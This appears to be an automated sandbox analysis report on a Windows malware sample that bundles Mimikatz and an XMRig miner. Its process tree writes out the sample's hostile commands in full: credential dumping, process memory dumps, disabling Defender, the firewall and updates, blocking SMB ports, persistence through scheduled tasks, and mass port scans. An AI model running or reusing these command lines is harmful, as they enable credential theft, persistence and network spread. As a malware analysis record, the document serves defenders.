Analysis

  • max time kernel
    120s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 08:50

General

  • Target
    92c1974ed4c1b8186bb4845ced9de1f0N.exe
  • Size 8.0MB
  • Sample240723-krlpraxdnd
  • SHA256 3974d6b6883828af67ebff025050aabaece8ae7fef8b8d1fbe4fe47e23cd811c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (10835) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • XMRig Miner payload 9 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 6 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 19 IoCs
  • Loads dropped DLL 25 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates a Windows Service
  • Drops file in System32 directory 12 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 14 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 31 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:272
      • C:\Windows\TEMP\jikvyijtn\mniena.exe
        "C:\Windows\TEMP\jikvyijtn\mniena.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1000
    • C:\Users\Admin\AppData\Local\Temp\92c1974ed4c1b8186bb4845ced9de1f0N.exe
      "C:\Users\Admin\AppData\Local\Temp\92c1974ed4c1b8186bb4845ced9de1f0N.exe"
      1⤵
      • Drops file in Windows directory
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2344
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\nsqfrbly\zzpbbrn.exe
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • Runs ping.exe
          PID:2908
        • C:\Windows\nsqfrbly\zzpbbrn.exe
          C:\Windows\nsqfrbly\zzpbbrn.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2748
    • C:\Windows\nsqfrbly\zzpbbrn.exe
      C:\Windows\nsqfrbly\zzpbbrn.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2124
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:2868
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D users
            3⤵
              PID:2636
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
                PID:2960
              • C:\Windows\SysWOW64\cacls.exe
                cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                3⤵
                  PID:2624
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                    PID:2736
                  • C:\Windows\SysWOW64\cacls.exe
                    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                    3⤵
                      PID:1144
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static del all
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • Modifies data under HKEY_USERS
                    PID:2596
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add policy name=Bastards description=FuckingBastards
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:2772
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filteraction name=BastardsList action=block
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:1684
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c C:\Windows\ejqmsrtmu\qvbbpluab\wpcap.exe /S
                    2⤵
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:2444
                    • C:\Windows\ejqmsrtmu\qvbbpluab\wpcap.exe
                      C:\Windows\ejqmsrtmu\qvbbpluab\wpcap.exe /S
                      3⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Drops file in System32 directory
                      • Drops file in Program Files directory
                      • Suspicious use of WriteProcessMemory
                      PID:1400
                      • C:\Windows\SysWOW64\net.exe
                        net stop "Boundary Meter"
                        4⤵
                          PID:652
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop "Boundary Meter"
                            5⤵
                              PID:2652
                          • C:\Windows\SysWOW64\net.exe
                            net stop "TrueSight Meter"
                            4⤵
                              PID:2796
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop "TrueSight Meter"
                                5⤵
                                  PID:1736
                              • C:\Windows\SysWOW64\net.exe
                                net stop npf
                                4⤵
                                  PID:2480
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 stop npf
                                    5⤵
                                      PID:2052
                                  • C:\Windows\SysWOW64\net.exe
                                    net start npf
                                    4⤵
                                      PID:2472
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 start npf
                                        5⤵
                                          PID:1140
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c net start npf
                                    2⤵
                                      PID:3008
                                      • C:\Windows\SysWOW64\net.exe
                                        net start npf
                                        3⤵
                                          PID:1184
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 start npf
                                            4⤵
                                              PID:464
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd /c net start npf
                                          2⤵
                                            PID:2420
                                            • C:\Windows\SysWOW64\net.exe
                                              net start npf
                                              3⤵
                                                PID:1908
                                                • C:\Windows\SysWOW64\net1.exe
                                                  C:\Windows\system32\net1 start npf
                                                  4⤵
                                                    PID:2260
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c C:\Windows\ejqmsrtmu\qvbbpluab\qcrijsufl.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\ejqmsrtmu\qvbbpluab\Scant.txt
                                                2⤵
                                                • Loads dropped DLL
                                                PID:1740
                                                • C:\Windows\ejqmsrtmu\qvbbpluab\qcrijsufl.exe
                                                  C:\Windows\ejqmsrtmu\qvbbpluab\qcrijsufl.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\ejqmsrtmu\qvbbpluab\Scant.txt
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Loads dropped DLL
                                                  PID:884
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c C:\Windows\ejqmsrtmu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ejqmsrtmu\Corporate\log.txt
                                                2⤵
                                                • Loads dropped DLL
                                                • Drops file in Windows directory
                                                PID:1544
                                                • C:\Windows\ejqmsrtmu\Corporate\vfshost.exe
                                                  C:\Windows\ejqmsrtmu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2152
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "qnqtbfeli" /ru system /tr "cmd /c C:\Windows\ime\zzpbbrn.exe"
                                                2⤵
                                                  PID:2356
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                    3⤵
                                                      PID:2288
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /create /sc minute /mo 1 /tn "qnqtbfeli" /ru system /tr "cmd /c C:\Windows\ime\zzpbbrn.exe"
                                                      3⤵
                                                      • Scheduled Task/Job: Scheduled Task
                                                      PID:1720
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ztlfnnbqu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\nsqfrbly\zzpbbrn.exe /p everyone:F"
                                                    2⤵
                                                      PID:1748
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                        3⤵
                                                          PID:864
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /create /sc minute /mo 1 /tn "ztlfnnbqu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\nsqfrbly\zzpbbrn.exe /p everyone:F"
                                                          3⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:2348
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fziticati" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\jikvyijtn\mniena.exe /p everyone:F"
                                                        2⤵
                                                          PID:2192
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                            3⤵
                                                              PID:1560
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /create /sc minute /mo 1 /tn "fziticati" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\jikvyijtn\mniena.exe /p everyone:F"
                                                              3⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:2536
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            PID:2212
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            PID:1780
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            • Modifies data under HKEY_USERS
                                                            PID:2792
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static set policy name=Bastards assign=y
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            • Modifies data under HKEY_USERS
                                                            PID:2868
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            • Modifies data under HKEY_USERS
                                                            PID:2900
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            PID:2660
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            • Modifies data under HKEY_USERS
                                                            PID:3068
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static set policy name=Bastards assign=y
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            • Modifies data under HKEY_USERS
                                                            PID:1676
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            • Modifies data under HKEY_USERS
                                                            PID:2808
                                                          • C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe
                                                            C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe -accepteula -mp 272 C:\Windows\TEMP\ejqmsrtmu\272.dmp
                                                            2⤵
                                                            • Executes dropped EXE
                                                            • Modifies data under HKEY_USERS
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2508
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            PID:936
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            • Modifies data under HKEY_USERS
                                                            PID:2860
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh ipsec static set policy name=Bastards assign=y
                                                            2⤵
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            • Modifies data under HKEY_USERS
                                                            PID:1244
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            cmd /c net stop SharedAccess
                                                            2⤵
                                                              PID:2092
                                                              • C:\Windows\SysWOW64\net.exe
                                                                net stop SharedAccess
                                                                3⤵
                                                                  PID:2104
                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                    C:\Windows\system32\net1 stop SharedAccess
                                                                    4⤵
                                                                      PID:880
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  cmd /c netsh firewall set opmode mode=disable
                                                                  2⤵
                                                                    PID:2956
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh firewall set opmode mode=disable
                                                                      3⤵
                                                                      • Modifies Windows Firewall
                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                      PID:1836
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    cmd /c netsh Advfirewall set allprofiles state off
                                                                    2⤵
                                                                      PID:1584
                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                        netsh Advfirewall set allprofiles state off
                                                                        3⤵
                                                                        • Modifies Windows Firewall
                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                        PID:1996
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd /c net stop MpsSvc
                                                                      2⤵
                                                                        PID:2264
                                                                        • C:\Windows\SysWOW64\net.exe
                                                                          net stop MpsSvc
                                                                          3⤵
                                                                            PID:1020
                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                              C:\Windows\system32\net1 stop MpsSvc
                                                                              4⤵
                                                                                PID:1956
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd /c net stop WinDefend
                                                                            2⤵
                                                                              PID:672
                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                net stop WinDefend
                                                                                3⤵
                                                                                  PID:812
                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                    C:\Windows\system32\net1 stop WinDefend
                                                                                    4⤵
                                                                                      PID:2280
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  cmd /c net stop wuauserv
                                                                                  2⤵
                                                                                    PID:2788
                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                      net stop wuauserv
                                                                                      3⤵
                                                                                        PID:2176
                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                          C:\Windows\system32\net1 stop wuauserv
                                                                                          4⤵
                                                                                            PID:2552
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        cmd /c sc config MpsSvc start= disabled
                                                                                        2⤵
                                                                                          PID:1952
                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                            sc config MpsSvc start= disabled
                                                                                            3⤵
                                                                                            • Launches sc.exe
                                                                                            PID:2500
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          cmd /c sc config SharedAccess start= disabled
                                                                                          2⤵
                                                                                            PID:2188
                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                              sc config SharedAccess start= disabled
                                                                                              3⤵
                                                                                              • Launches sc.exe
                                                                                              PID:3024
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            cmd /c sc config WinDefend start= disabled
                                                                                            2⤵
                                                                                              PID:628
                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                sc config WinDefend start= disabled
                                                                                                3⤵
                                                                                                • Launches sc.exe
                                                                                                PID:1920
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd /c sc config wuauserv start= disabled
                                                                                              2⤵
                                                                                                PID:680
                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                  sc config wuauserv start= disabled
                                                                                                  3⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:1604
                                                                                              • C:\Windows\TEMP\xohudmc.exe
                                                                                                C:\Windows\TEMP\xohudmc.exe
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Drops file in System32 directory
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:2404
                                                                                              • C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe
                                                                                                C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe -accepteula -mp 1100 C:\Windows\TEMP\ejqmsrtmu\1100.dmp
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:2640
                                                                                              • C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe
                                                                                                C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe -accepteula -mp 1160 C:\Windows\TEMP\ejqmsrtmu\1160.dmp
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:2656
                                                                                              • C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe
                                                                                                C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe -accepteula -mp 836 C:\Windows\TEMP\ejqmsrtmu\836.dmp
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:2088
                                                                                              • C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe
                                                                                                C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe -accepteula -mp 1188 C:\Windows\TEMP\ejqmsrtmu\1188.dmp
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:960
                                                                                              • C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe
                                                                                                C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe -accepteula -mp 1668 C:\Windows\TEMP\ejqmsrtmu\1668.dmp
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:2428
                                                                                              • C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe
                                                                                                C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe -accepteula -mp 1976 C:\Windows\TEMP\ejqmsrtmu\1976.dmp
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:1736
                                                                                              • C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe
                                                                                                C:\Windows\TEMP\ejqmsrtmu\isfjqnmft.exe -accepteula -mp 1744 C:\Windows\TEMP\ejqmsrtmu\1744.dmp
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:1708
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                cmd.exe /c C:\Windows\ejqmsrtmu\qvbbpluab\scan.bat
                                                                                                2⤵
                                                                                                • Loads dropped DLL
                                                                                                PID:2496
                                                                                                • C:\Windows\ejqmsrtmu\qvbbpluab\pibrpbtbq.exe
                                                                                                  pibrpbtbq.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Drops file in Windows directory
                                                                                                  PID:2204
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                                                                                2⤵
                                                                                                  PID:2984
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                    3⤵
                                                                                                      PID:2588
                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                                                                                      3⤵
                                                                                                        PID:1240
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                        3⤵
                                                                                                          PID:2020
                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                          cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                                                                                          3⤵
                                                                                                            PID:1156
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                            3⤵
                                                                                                              PID:2016
                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                              cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                                                                                              3⤵
                                                                                                                PID:3316
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
                                                                                                            1⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:2648
                                                                                                          • C:\Windows\system32\taskeng.exe
                                                                                                            taskeng.exe {ECED64C7-DA18-4B00-B7FB-3979907F84C1} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                                            1⤵
                                                                                                              PID:1732
                                                                                                              • C:\Windows\system32\cmd.EXE
                                                                                                                C:\Windows\system32\cmd.EXE /c C:\Windows\ime\zzpbbrn.exe
                                                                                                                2⤵
                                                                                                                  PID:2528
                                                                                                                  • C:\Windows\ime\zzpbbrn.exe
                                                                                                                    C:\Windows\ime\zzpbbrn.exe
                                                                                                                    3⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                    PID:2724
                                                                                                                • C:\Windows\system32\cmd.EXE
                                                                                                                  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\nsqfrbly\zzpbbrn.exe /p everyone:F
                                                                                                                  2⤵
                                                                                                                    PID:2524
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                      3⤵
                                                                                                                        PID:1780
                                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                                        cacls C:\Windows\nsqfrbly\zzpbbrn.exe /p everyone:F
                                                                                                                        3⤵
                                                                                                                          PID:2716
                                                                                                                      • C:\Windows\system32\cmd.EXE
                                                                                                                        C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\jikvyijtn\mniena.exe /p everyone:F
                                                                                                                        2⤵
                                                                                                                          PID:2152
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                            3⤵
                                                                                                                              PID:1648
                                                                                                                            • C:\Windows\system32\cacls.exe
                                                                                                                              cacls C:\Windows\TEMP\jikvyijtn\mniena.exe /p everyone:F
                                                                                                                              3⤵
                                                                                                                                PID:2964
                                                                                                                            • C:\Windows\system32\cmd.EXE
                                                                                                                              C:\Windows\system32\cmd.EXE /c C:\Windows\ime\zzpbbrn.exe
                                                                                                                              2⤵
                                                                                                                                PID:3828
                                                                                                                                • C:\Windows\ime\zzpbbrn.exe
                                                                                                                                  C:\Windows\ime\zzpbbrn.exe
                                                                                                                                  3⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:3900
                                                                                                                              • C:\Windows\system32\cmd.EXE
                                                                                                                                C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\nsqfrbly\zzpbbrn.exe /p everyone:F
                                                                                                                                2⤵
                                                                                                                                  PID:3840
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                    3⤵
                                                                                                                                      PID:3908
                                                                                                                                    • C:\Windows\system32\cacls.exe
                                                                                                                                      cacls C:\Windows\nsqfrbly\zzpbbrn.exe /p everyone:F
                                                                                                                                      3⤵
                                                                                                                                        PID:3916
                                                                                                                                    • C:\Windows\system32\cmd.EXE
                                                                                                                                      C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\jikvyijtn\mniena.exe /p everyone:F
                                                                                                                                      2⤵
                                                                                                                                        PID:3872
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                          3⤵
                                                                                                                                            PID:3944
                                                                                                                                          • C:\Windows\system32\cacls.exe
                                                                                                                                            cacls C:\Windows\TEMP\jikvyijtn\mniena.exe /p everyone:F
                                                                                                                                            3⤵
                                                                                                                                              PID:3952
                                                                                                                                        • C:\Windows\SysWOW64\ssssgc.exe
                                                                                                                                          C:\Windows\SysWOW64\ssssgc.exe
                                                                                                                                          1⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:2304

                                                                                                                                        Network

                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                              Replay Monitor

                                                                                                                                              Loading Replay Monitor...

                                                                                                                                              Downloads

                                                                                                                                              Packet.dll

                                                                                                                                              • Path C:\Windows\SysWOW64\Packet.dll
                                                                                                                                              • Size 95KB
                                                                                                                                              • SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              wpcap.dll

                                                                                                                                              • Path C:\Windows\SysWOW64\wpcap.dll
                                                                                                                                              • Size 275KB
                                                                                                                                              • SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              1100.dmp

                                                                                                                                              • Path C:\Windows\TEMP\ejqmsrtmu\1100.dmp
                                                                                                                                              • Size 1.3MB
                                                                                                                                              • SHA256 b33948df736d28eeb1fcfa861b5d8733e98d494ef794995eab894fb55e81e466
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              1160.dmp

